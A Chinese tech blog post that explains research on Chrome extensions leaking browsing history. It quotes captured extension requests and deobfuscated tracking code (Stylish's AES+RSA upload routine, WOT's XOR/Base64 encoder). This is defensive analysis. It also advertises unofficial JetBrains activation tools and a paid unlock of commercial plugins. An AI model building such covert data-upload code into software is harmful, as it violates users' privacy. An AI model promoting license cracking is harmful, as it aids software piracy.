年终福利抽奖!提醒各位注意下浏览器插件!
大家好,这里是架构资源栈!点击上方关注,添加“星标”,一起学习大厂前沿架构!
关注、发送C1即可获取JetBrains全家桶激活工具和码!
前言
转眼就是一年,新年即将到来,也是时候要和蛇年说再见了,小D在这里感谢各位朋友一年以来的陪伴!
架构资源栈截止今天是今年的最后一次发稿,就不打扰大家开心过年了!提前给大家拜个早年:
祝各位新年快乐,万马奔腾迎新春,龙马精神喜涨薪,岁月安然,身体健康。

福利
给大家带来一个抽奖,送三个一年的代理版本授权(小D能力有限,抽不到的朋友就当参加活动图个乐呵吧,后续小D还会想其他的活动福利给大家),规则如下:
-
开奖时间截至2026-02-14 23:59:59; -
中奖的朋友可以后台加小D微信或者扫本文最后的微信二维码加我都行,记得备注中奖了,这个抽奖可能会有一个核销码到时候你发我就行了(小D第一次搞这个,不太熟悉,多多见谅!) -
因为有朋友可能在我这已经购买过,你们到时候可以选择续到你原账号上,或者给身边的朋友都行。
今天文章正文
说实话,开发人员绝大部分使用的都是谷歌浏览器,而使用谷歌浏览器的绝大部分人都离不开它的扩展程序,当然小D的老婆除外(根本教不会,她的诉求非常简单,浏览器能用百度就行![苦涩])
但是有人研究发现有些扩展的功能“太全”了,已经到了离谱的地步:你打开啥网页、搜了啥关键词、点了啥链接——它都想“顺手”打包带走,转手倒卖,主打一个“我不生产数据,我只是数据的搬运工”🙃。
他们的研究报告给了一个挺硬核的结论:通过自动化扫描,标记出 287 个可能外传浏览历史的 Chrome 扩展,总安装量约 3740 万,大概相当于全球 Chrome 用户的 1% 左右。更刺激的是,背后牵扯到的玩家,从大厂数据分析服务到各种“你甚至没听过名字”的小数据贩子,都能凑一个棋牌室了。
报告原文:https://github.com/qcontinuum1/spying-extensions/blob/main/report.pdf
小D提醒:这个研究报告有参考性,但不可完全相信,有些插件可能是被他们规则误伤的,不管如何各位多留个小心!!!
小D提醒:这个研究报告有参考性,但不可完全相信,有些插件可能是被他们规则误伤的,不管如何各位多留个小心!!!
小D提醒:这个研究报告有参考性,但不可完全相信,有些插件可能是被他们规则误伤的,不管如何各位多留个小心!!!
怎么“抓到偷跑流量”?
他们搭了一个自动化扫描流水线,大致是:
-
在 Docker 里跑 Chromium(隔离环境,方便批量复现) -
所有流量走 MITM 代理(相当于在门口装了个“全屋监控摄像头”) -
生成一批“合成访问任务”:不断访问一些 URL,但刻意让 URL 变长(像把快递箱越塞越大) -
观察扩展对外发出的请求流量,是否和 URL 长度呈线性关系

逻辑很朴素(嗯,我对他们的这个逻辑持怀疑态度[抠鼻]):
-
如果扩展只是“改主题/注入 CSS/做个小按钮”,它的网络行为应该与 URL 长短无关 -
如果扩展把你访问的 URL(甚至整段请求)打包上报,那么 URL 越长,外发流量越大,相关性会非常明显
他们用一个指标来衡量泄露程度:
❝
bytes_out = R * payload_size + b 如果 R ≥ 1.0:高度确定在泄露 如果 0.1 ≤ R < 1.0:疑似泄露,需要人工复核
扫描成本也很“打工人看了会沉默”:据说累计跑了 930 CPU days,这属于“把云厂商账单当健身器材练”的级别💸。
不止扫描:他们还钓鱼执法
这个就有意思了:他们喂给扩展一些URL,然后观察是否会有第三方来反复访问这些 URL,从而推断数据被谁消费,这个就能直接证明被泄露了。

研究报告里提到,URL被多个 IP 段反复命中,其中甚至能看到一些“看起来像产业链角色”的影子(比如抓取器、过滤器服务等)。这意味着:有些扩展不一定“亲自作恶”,但它可能把数据交给了会作恶的人——结果对用户来说没差,都是“辅助游走未归”。
多样的泄露姿势
明文、混淆、加密……总有一款泄露姿势适合你的浏览器![色]
下面这些例子特别能说明:扩展泄露浏览历史并不需要什么高深黑科技,很多就是把 URL 塞到请求里,换个姿势发出去而已。
1 Poper Blocker:ROT47 混淆
curl 'https://api2.poperblocker.com/view/update' -H 'Accept: */*' -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H 'Connection: keep-alive' -H 'Content-Type: text/plain' -H 'Origin: chrome-extension://bkkbcggnhapdmkeljlodobbkopceiche' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: none' -H 'Sec-Fetch-Storage-Access: active' -H 'User-Agent: XXXXXX' -H 'capr: www.google.com' -H 'kata: ajax' -H 'x-custom-keywords: %5B%5D' -H 'x-uuid: XXXXXX' --data-raw $'LQFQiQ9EEADTbpTauTauHHH...'
解出来后你会发现,URL 明晃晃在里面:
{"u": "https://www.google.com/search?q=target","kk": "","p": "","rd": "","bin": XXXXXX,"t": "generated","q1": "from_add_bar","to": "texted","tid": XXXXXX,"ch": 2,"us": "XXXXXX","h": "XXXXXX","ver": 6,"sver": 1,"dver": 1,"nid": "7.9.4","fiz": "XXXXXX"}
2 Stylish:AES-256 + RSA
curl 'https://userstylesapi.com/top/styles' -H 'Accept: */*' -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H 'Connection: keep-alive' -H 'Content-type: text/plain' -H 'Origin: chrome-extension://fjnbnpbmkenffdnngjfgmeleoegfcffe' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: none' -H 'Sec-Fetch-Storage-Access: active' -H 'User-Agent: XXXXXX' -H 'pthl: style' -H 'styl: news.ycombinator.com' -H 'x-session-init: s=a3e3e2a81&v=3.4.10&p=0' --data-raw 'PyDk...'
扩展在浏览器里生成一次性 AES Key 加密数据,再用硬编码的 RSA 公钥加密 AES Key,打包一起发给服务器。要想还原,就得拿到 RSA 私钥或在运行时抓 AES Key——这已经是“工业级上报”的味道了。
_ProductsContainer._createAnimation8 = { init: function(e) { const t = _ProductsContainer._createAnimation8, n = e.instance, a = { s: "a3e3e2a81", sub: chrome.runtime.getManifest().version, pid: n.removal }; t.class = class { assertScopeValues(e, t, n) { const a = JSON.stringify(n), s = btoa(a), i = Math.random().toString(36).substring(2, 4).toUpperCase() + s, r = {};return r[e] = i, r[t] = "9", r } async compilationGenerator() {return self.crypto.subtle.generateKey({ name: "AES-GCM", length: 256 }, !0, ["encrypt", "decrypt"]) } mergeRuleConfigs(e, t) { const n = btoa(String.fromCharCode.apply(null, new Uint8Array(e))), a = btoa(String.fromCharCode.apply(null, new Uint8Array(t)));return"".concat(n, ",").concat(a) } async CmpNullValue(e, t, n) { const a = JSON.stringify(n);if (!this.recordsPath) { const e = '{"key_ops":["encrypt"],"ext":true,"kty":"RSA","n":"z7mcaorg4Lg3uiPzud1bwLvRvsWK9bpTTsy_DxIX8WRcDndqNQHTgG0HZUTxggp2cLBnxvjG0UPxhfIPZZRed82vLsFYVvdJOsz9iZoKXHqT67RhbI2XecvWKp_ciaw6wRQAycklmIQJaZp4QA-P2Ye19FtG03VaNJRBUCy2Th6huKozUsRErnW5LBW0X7C_sxxpgAE9ijBhxwawnsGal7dCHGwgxcUe9-rfbCD9e7PEJCL_IE9L-hYzjngr5_vXjUU0udjwXNp3YnyA279CMA5bqucp5eI-kXXjsPJRGYw1znhuIwSP2soqXyRT22inklJ4VtBp3rctC5J6ZLnM8Q","e":"AQAB","alg":"RSA-OAEP-256"}', t = JSON.parse(e); this.recordsPath = await self.crypto.subtle.importKey("jwk", t, { name: "RSA-OAEP",hash: "SHA-256" }, !1, ["encrypt"]) } const s = {};if (a.length < 190) { const t = await self.crypto.subtle.encrypt({ name: "RSA-OAEP" }, this.recordsPath, (new TextEncoder).encode(a)); s[e] = btoa(String.fromCharCode.apply(null, new Uint8Array(t))) } else { const t = await this.compilationGenerator(), n = self.crypto.getRandomValues(new Uint8Array(12)), i = await self.crypto.subtle.encrypt({ name: "AES-GCM", iv: n }, t, (new TextEncoder).encode(a)), r = new Uint8Array(n.length + i.byteLength); r.set(n), r.set(new Uint8Array(i), n.length); const o = await self.crypto.subtle.exportKey("jwk", t), c = JSON.stringify(o), l = await self.crypto.subtle.encrypt({ name: "RSA-OAEP" }, this.recordsPath, (new TextEncoder).encode(c)); s[e] = this.mergeRuleConfigs(l, r) }return s[t] = "hxQaXgzvrg", s } async checkString(e, t, n, s, i, r) {let o = arguments.length > 6 && void 0 !== arguments[6] ? arguments[6] : {}; const c = await fetch(e), l = c.headers.get("Content-Type"), u = await c.arrayBuffer(), d = new File([u], t, {type: l || n }), h = Object.assign({}, a, o);let m = {}; m = await this.CmpNullValue(i, r, h), fetch(s, { body: d, method: "POST", headers: m }) } async toInt(e, t, n, s, i, r) {let o = arguments.length > 6 && void 0 !== arguments[6] ? arguments[6] : {}; const c = new File([e], t, {type: n || e.type || "application/octet-stream" }), l = Object.assign({}, a, o);let u = {}; u = await this.CmpNullValue(i, r, l), fetch(s, { body: c, method: "POST", headers: u }) } }, t.instance = new t.class }, deps: ["ModulesA"]},
3 WOT:XOR + Base64 + Reverse
加密不难,难的是别让人看出来你在干啥
研究报告还提到一个 2016 年的德文博客曾讨论过类似问题:
const fp = require('lodash/fp');const isEmpty = require('lodash/isEmpty');const querystring = require('querystring');const key = `91FMsA...`;class Encoder { static encryptData(input) {let result = '';for (let i = 0; i < input.length; i++) { const charCode = input.charCodeAt(i) ^ key.charCodeAt(i % key.length); result += String.fromCharCode(charCode); }return result; } static customEncode(content) {if (!content) return''; const encodedContent = Buffer.from(JSON.stringify(content)).toString('base64'); const reversed = encodedContent.split('').reverse().join(''); const xor = this.encryptData(reversed);return Buffer.from(xor).toString('base64'); } static encodePairs(pairs) {return pairs.map((pair) => { const [key, value] = pair;return [ this.customEncode(key), value ? this.customEncode(value) : '' ]; }); } static encode(payload) {if (typeof payload !== 'object' || isEmpty(payload)) { throw new Error('Invalid payload'); }return fp.flow( fp.toPairs, this.encodePairs.bind(this), fp.fromPairs, querystring.stringify, this.customEncode.bind(this) )(payload); }}module.exports = Encoder;
const fp = require('lodash/fp');const querystring = require('querystring');const key = `91FMsAD...`;class Decoder { static decryptData(input) {let result = '';for (let i = 0; i < input.length; i++) { const charCode = input.charCodeAt(i) ^ key.charCodeAt(i % key.length); result += String.fromCharCode(charCode); }return result; } static customDecode(encodedContent) {if (!encodedContent) return''; const xorString = Buffer.from(encodedContent, 'base64').toString('utf8'); const reversed = this.decryptData(xorString); const originalBase64 = reversed.split('').reverse().join(''); const jsonString = Buffer.from(originalBase64, 'base64').toString('utf8');return JSON.parse(jsonString); } static decode(payload) { try { const queryString = this.customDecode(payload); const rawObject = querystring.parse(queryString); const decodedObject = {}; Object.keys(rawObject).forEach((encKey) => { const encValue = rawObject[encKey]; const decodedKey = this.customDecode(encKey); const decodedValue = encValue ? this.customDecode(encValue) : null; decodedObject[decodedKey] = decodedValue; });return decodedObject; } catch (error) { console.error("Failed to decode payload:", error);return null; } }}const payload = "UGB2AB..."; const data = Decoder.decode(payload);console.log(data);
这事为啥危险?
因为“浏览记录”比你想的更值钱,我之前应该发过相关的安全相关的文章关了 Cookie 也没用?浏览器指纹才是真正的隐私噩梦
很多人以为浏览历史只是“我今天搜了啥”,但现实是:URL 里常常携带非常敏感的信息,比如:
-
账号体系的跳转参数、工单 ID、内部系统路径 -
SaaS 后台页面、管理端路由、企业内网地址 -
各种重置链接、邀请链接、分享链接里的 token
所以研究报告给出的威胁模型并不夸张:
-
画像与定向广告:聚合后的浏览历史对广告技术公司简直是金矿 -
企业信息泄露:员工装一个“效率工具”,可能把公司内部 URL 直接送走 -
会话风险:如果某些扩展还拿 cookie/headers,那就更刺激了(“历史+身份”组合拳)
还是那句话:免费的才是最贵的!😮💨。
程序员自救指南
不想一刀切禁用扩展?可以按优先级做“降风险改造”:
1 先做“权限体检”:看到这几类就要警惕
在扩展详情页/权限页,重点留意:
-
Read and change all your data on all websites(能看所有网站数据的那种) -
history、tabs、webRequest、cookies、downloads(典型高风险组合) -
“允许访问所有网站”且没有明确业务解释的
❝
小技巧:一个“改主题”的扩展,通常不需要 history;一个“网页截图”的扩展,通常不需要 cookies。谁越界,谁可疑。
2 能用“白名单”就别用“全开放”
公司电脑/团队环境建议更狠一点:
-
只允许安装经过审计的扩展 -
统一由管理员配置策略(企业管理/浏览器策略/终端管理工具都能做到) -
禁止“来路不明的效率神器”
3 定期清理:装过就忘的扩展最危险
很多扩展是“装的时候很香,用完就躺尸”,但它的权限和后台任务可不会躺尸。建议:
-
每月清一次扩展列表(就当给浏览器做一次“垃圾回收”) -
不常用的直接卸载,不要留恋
4 对开发者来说:不要迷信“看起来像大厂”
这次报告里提到的“玩家”跨度很大:既有知名数据公司,也有各种看不懂的组织关系网。结论很现实:品牌不是免死金牌,隐私政策也不等于不作恶。很多“同意”只是把风险合法化,而不是把风险消除。
最后再唠叨两句
-
你以为在装“扩展”,其实可能是在装“旁路数据采集 SDK”。 -
如果一个工具“免费到离谱”,那就别问它怎么赚钱了——它可能正在用你赚钱🙂
想要继续深挖这类“浏览器安全 + 隐私风控”的技术内容,可以把这篇先收藏起来,下次排查电脑问题时,你会感谢今天的自己。😉
喜欢就奖励一个“👍”和“在看”呗~

专属付费版全家桶
如果你只是激活JetBrains全家桶IDE,那这个应该是目前最经济、最实惠的方法了!
专属付费版全家桶除了支持IDE的正常激活外,还支持常用的付费插件和付费主题!

100%保障激活,100%稳定使用,100%售后兜底!
为什么说专属付费版全家桶最经济、最实惠?
因为专属付费版全家桶支持常用付费插件和付费主题。而任意一款或两款付费插件或付费主题,其激活费用就远高于我提供的专属付费版全家桶。
比如,最方便的彩虹括号符Rainbow Brackets,124/年。

再如,MyBatis最佳辅助框架MyBatisCodeHelperPro的官方版本MyBatisCodeHelperPro (Marketplace Edition),157/年。

还有最牛的Fast Request,集API调试工具 + API管理工具 + API搜索工具一体!157/年。

`专属付费版全家桶`包含上述这些付费插件,但不限于上述这些付费插件!
需要的小伙伴,可以扫码二维码,回复付费,了解优惠详情~

夜雨聆风
